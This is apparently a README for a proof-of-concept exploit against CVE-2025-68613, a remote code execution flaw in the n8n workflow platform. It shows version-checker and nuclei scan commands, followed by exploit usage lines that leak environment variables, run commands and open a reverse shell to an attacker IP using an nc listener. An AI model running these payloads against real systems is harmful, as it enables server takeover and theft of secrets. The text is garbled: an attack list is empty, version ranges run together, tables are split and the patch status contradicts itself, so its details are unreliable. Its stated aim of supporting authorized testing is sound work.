
CVE-2025-68613

Severity: 🔴 Critical Impact: Remote Code Execution Affected Platform: n8n (workflow automation)
CVE-2025-68613 is a critical security vulnerability in n8n, an open-source workflow automation platform. The issue allows an authenticated attacker to execute arbitrary code on the server by abusing how workflow expressions are evaluated.
💥 Why it’s dangerous: Malicious expressions are evaluated in a context that is not properly sandboxed, allowing access to the underlying runtime.

If exploited, an attacker could:
The attack runs with the same privileges as the n8n service, amplifying its impact.
| Metric | Value |
|---|---|
| CVSS v3.1 | ~9.9–10.0 |
| Confidentiality | High |
| Integrity | High |
| Availability |
➡️ Authentication is required, but no admin access is needed.
🚫 Vulnerable:
0.211.0 → 1.120.31.121.0✅ Patched:
1.120.41.121.11.122.0 and newer(Does NOT fully remove the vulnerability)
CVE-2025-68613.py — Remote Version & Exposure Checker (Safe)sudo python3 CVE-2025-68613.py -u http://127.0.0.1:5678
[+] Target: http://127.0.0.1:5678
[+] Possible n8n detected at /
[+] Detected version: 1.120.2
--- Result ---
🚨 VULNERABLE
Target version is affected by CVE-2025-68613
┌──(kali㉿kali)-[~]
└─$ sudo nuclei -t CVE-2025-68613.yaml -u http://targets:5678
Or if you would like to scan a list of hosts, execute:
┌──(kali㉿kali)-[~]
└─$ sudo nuclei -t CVE-2025-68613.yaml -l targets.txt
Example Output
Usage examples:
Leak environment variables:
python3 CVE-2025-68613-exploit.py --url https://target-n8n.com --api_key YOUR_API_KEY --payload env_leak
Get user info:
python3 CVE-2025-68613-exploit.py --url https://target-n8n.com --api_key YOUR_API_KEY --payload id
Reverse shell (start listener first: nc -lvnp 4444):
python3 CVE-2025-68613-exploit.py --url https://target-n8n.com --api_key YOUR_API_KEY --payload reverse_shell --attacker_ip YOUR_IP --attacker_port 4444
This script is for authorized security testing only on systems you own or have explicit permission to test.
🔒 This script is a Proof-of-Concept (PoC) exploit for CVE-2025-68613 in n8n.
📚 It is provided strictly for educational purposes and authorized security testing only.
🛡️ Use exclusively on systems you own, control, or have explicit written permission to test.
🚫 Unauthorized use against any system is illegal and may violate laws (e.g., computer fraud and abuse acts).
❌ The author and any associated parties assume no liability for misuse, damage, or legal consequences.
✅ Use responsibly, ethically, and in full compliance with all applicable laws and regulations.
🔐 If conducting penetration testing, ensure proper authorization (e.g., Rules of Engagement) is in place.
🛠️ Security researchers may use this to verify vulnerabilities and encourage timely patching.
| High |
| Category | Info |
|---|
| CVE ID | CVE-2025-68613 |
| Product | n8n |
| Bug Class | Expression Injection |
| Result | Remote Code Execution |
| Access Needed | Authenticated user |
| Fix Available | Yes |